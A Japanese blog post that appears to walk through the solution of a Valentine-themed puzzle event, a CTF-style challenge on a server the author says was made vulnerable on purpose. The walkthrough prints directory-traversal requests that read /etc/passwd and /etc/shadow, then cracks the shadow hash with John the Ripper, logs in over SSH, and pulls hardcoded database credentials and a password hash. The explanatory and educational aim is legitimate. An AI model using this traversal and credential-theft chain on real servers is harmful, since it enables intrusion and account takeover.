今回のバレンタインイベントにご参加いただき、ありがとうございました。
このページでは、バレンタインイベントの謎の解説をしていきます。
最初の謎
最初の謎は、お知らせページからです。
お知らせページにある画像を右クリックで保存しても、「ハズレ」と書かれた画像しか入手できません。
開発者モードで確認すると、 background-image で別の画像が埋め込まれていることがわかるので、そのファイルをダウンロードします。
その画像のプロパティを見てみると、「カメラのブランド」の欄が「ステガノグラファー」になっています。
ステガノグラファーをインストールして画像を読み込ませると、 data.tar.xz というファイルが抽出されます。
これを tar コマンドなどで展開すると、 README.txt と image.png という2つのファイルが手に入ります。
↓README.txt
解読おめでとうございます。 一緒に入っていたimage.pngというファイルの暗号化を解いて@jun50#3708 / 449867036558884866に送信するとゲームクリアです。 なお、暗号化を解くカギは http://event.sato-mami.com/mami/valentine/login.php でログインすると入手できます。
ログインサイトの謎
README.txtに書かれているリンクにアクセスすると、ログインサイトに遷移します。
ユーザー名とパスワードで別れていて両方わからないので、パスワードを総当りするブルートフォース攻撃は現実的ではありません。
さて、ここで URL の login.php を消してみましょう。 Indexes ページが表示されます。
この Indexesページ、少し違和感があります。
イベント中に出されたヒント『絶対パス、相対パス』を思い出してください。
実は、「Index of ~」に表示されるパスが、 URL ベースの相対パスではなく、サーバー上の絶対パスであることに気づきます。
http://event.sato-mami.com/ での絶対パスは /home/ です。 /home 以下のファイルにヒントになりそうなファイルはないので、ルートディレクトリを見てみましょう。 /home から見て / は相対パスで 「../」 となります。
よって http://event.sato-mami.com/../ を見てみると、ヒントになりそうなファイルが得られそうだと推測できます。
しかし、打ち込んでアクセスしても「Index of /home/」と表示されます。これはおそらくブラウザの仕様として相対パスで上位階層にアクセスするリクエストは「/」に変換されるからだと思われます。
なので、Postmanなどの外部ツールを使用します。このサンプルでは telnet を使用します。
$ telnet event.sato-mami.com 80 Trying 194.135.92.179... Connected to event.sato-mami.com. Escape character is '^]'. GET /../ HTTP/1.0 [中略] Connection closed by foreign host.
サーバーのルートディレクトリの Indexes ページです。これでルートディレクトリの中身が得られました。
このように、意図しない上位階層へアクセスする手法は『ディレクトリトラバーサル攻撃』と呼ばれています。 IPA の情報処理安全確保支援士試験では典型問題です。
なお、これはあくまでイベントのために用意した脆弱性入りの Python で作ったウェブサーバーなので、本物の Apache では対策されています。
取れそうなデータがないか探ってみましょう。
$ telnet event.sato-mami.com 80 Trying 194.135.92.179... Connected to event.sato-mami.com. Escape character is '^]'. GET /../etc/ HTTP/1.0 [中略] Connection closed by foreign host.
passwdファイルはユーザー名やID、ログインシェルなどが書かれているファイルで、shadowファイルはハッシュ化されたパスワードが格納されたファイルです。
なお、shadowファイルは通常一般ユーザーは見られないようにパーミッションが設定されています。
$ telnet event.sato-mami.com 80 Trying 194.135.92.179... Connected to event.sato-mami.com. Escape character is '^]'. GET /../etc/passwd HTTP/1.0 root:x:0:0:root:/root:/bin/bash mami:x:1000:1000::/home/mami:/bin/bash Connection closed by foreign host. $ telnet event.sato-mami.com 80 Trying 194.135.92.179... Connected to event.sato-mami.com. Escape character is '^]'. GET /../etc/shadow root:x:19033:::::: mami:$6$Lsc6t8iJfxQRnWG5$sVGmKbyIQzez3DHjlZaUVrZVrpcdl/HQMm5I5mPBL53vNEMr1Y3xYZ9hdVtDfiFLK3dS.SRKglfPChFXZOPra/:19034:0:99999:7::: Connection closed by foreign host.
前述のとおり、shadowファイルはハッシュ化されているので、「John the Ripper」というハッシュ化されたパスワードを解析するツールを使用します。
$ cat << EOF > passwd root:x:0:0:root:/root:/bin/bash mami:x:1000:1000::/home/mami:/bin/bash EOF $ cat << \EOF > shadow root:x:19033:::::: mami:$6$Lsc6t8iJfxQRnWG5$sVGmKbyIQzez3DHjlZaUVrZVrpcdl/HQMm5I5mPBL53vNEMr1Y3xYZ9hdVtDfiFLK3dS.SRKglfPChFXZOPra/:19034:0:99999:7::: EOF $ unshadow passwd shadow > unshadow.txt
$ john unshadow.txt Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Press 'q' or Ctrl-C to abort, almost any other key for status cats (mami) 1g 0:00:00:06 100% 2/3 0.1506g/s 616.1p/s 616.1c/s 616.1C/s spazz..dasha Use the "--show" option to display all of the cracked passwords reliably Session completed $ john unshadow.txt --show mami:cats:1000:1000::/home/mami:/bin/bash 1 password hash cracked, 0 left
しかし、このユーザー名とパスワードでログインを試みると、ログインに失敗しました。どうやらこのユーザー名とパスワードではないようです。
サーバー OS 上の情報であってこのサイトの情報ではないので当然です。
なので、この情報を使ってサーバーに侵入してみます。
$ ssh [email protected] [email protected]'s password: mami@3tis:~$
mami@3tis:~$ cat /home/mami/valentine/login.php [前略] $dsn = 'mysql:dbname=vale;host=194.135.92.179'; $user = 'vale'; $password = 'NekomimiMaid!'; try { $dbh = new PDO($dsn, $user, $password); } catch (PDOException $e) { echo "<p style='color: red;font-size: 1.2rem;'>データベースエラーです。</p>"; exit; } $sql = 'SELECT * FROM user WHERE user=:user'; $prepare = $dbh->prepare($sql); $prepare->bindValue(':user', $_POST["user"], PDO::PARAM_STR); $prepare->execute(); $result = $prepare->fetchAll(PDO::FETCH_ASSOC); if ($result[0]['pw'] === md5($_POST["password"])) { require("congratulations.php"); congratulations(); exit; } else { echo <"p style='color: red;font-size: 1.2rem;'>データベース上のパスワードと合致しませんでした。</p>"; } [後略]
1.データベースのホスト、ユーザー名、パスワードがハードコードされている
2.サーバー上のパスワードは MD5 でハッシュ化されている
3.パスワードの認証に成功すると congratulations.php の congratulations 関数が呼び出される
ということがわかりました。
congratulations.php を見てみましょう。
mami@3tis:~$ cat /home/mami/valentine/congratulations.php cat: /home/mami/valentine/congratulations.php: Permission denied
$ mysql --host=194.135.92.179 -u vale -p Enter password: mysql> use vale; Database changed mysql> SELECT * FROM user; +----------------+----------------------------------+ | user | pw | +----------------+----------------------------------+ | mamitantokucho | 8384c07fd836a700cf1d3b2237c1e6d7 | +----------------+----------------------------------+ 1 row in set (0.28 sec)
適当なサイトで復号化してみると、パスワードが「kawaee」であることがわかりました。
これを使ってログインを試みると、ログインに成功しました。
しかし、「アクセスしようとしているサイトを見つけられません」と表示されています。また、アドレス欄は「admintool.mami」となっています。
「.mami」という TLD は存在しません。権威を持っている DNS サーバーがなく、 DNS からは IP アドレスを入手することができません。
ここで、 /etc/ に入っていた他のファイルを見てみましょう。
mami@3tis:~$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 ubuntu 160.251.23.81 admintool.mami # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
これを自分のパソコンの /etc/hosts に書いてアクセスしてみます。
管理画面へようこそ 佐藤真美システムの復号に使用するパスワードを記述します。 また、暗号方式はaes-256-cbcです。 パスワード: Ma3tanKawa11Suk1Suk1Da1suk1
image.png の復号
前項でやっと復号のために鍵を入手することができました。あとは openssl コマンドで復号するだけです。
$ openssl enc -aes-256-cbc -d -in image.png -out clear.png enter aes-256-cbc decryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better.

謎解きクリアです!おめでとうございます!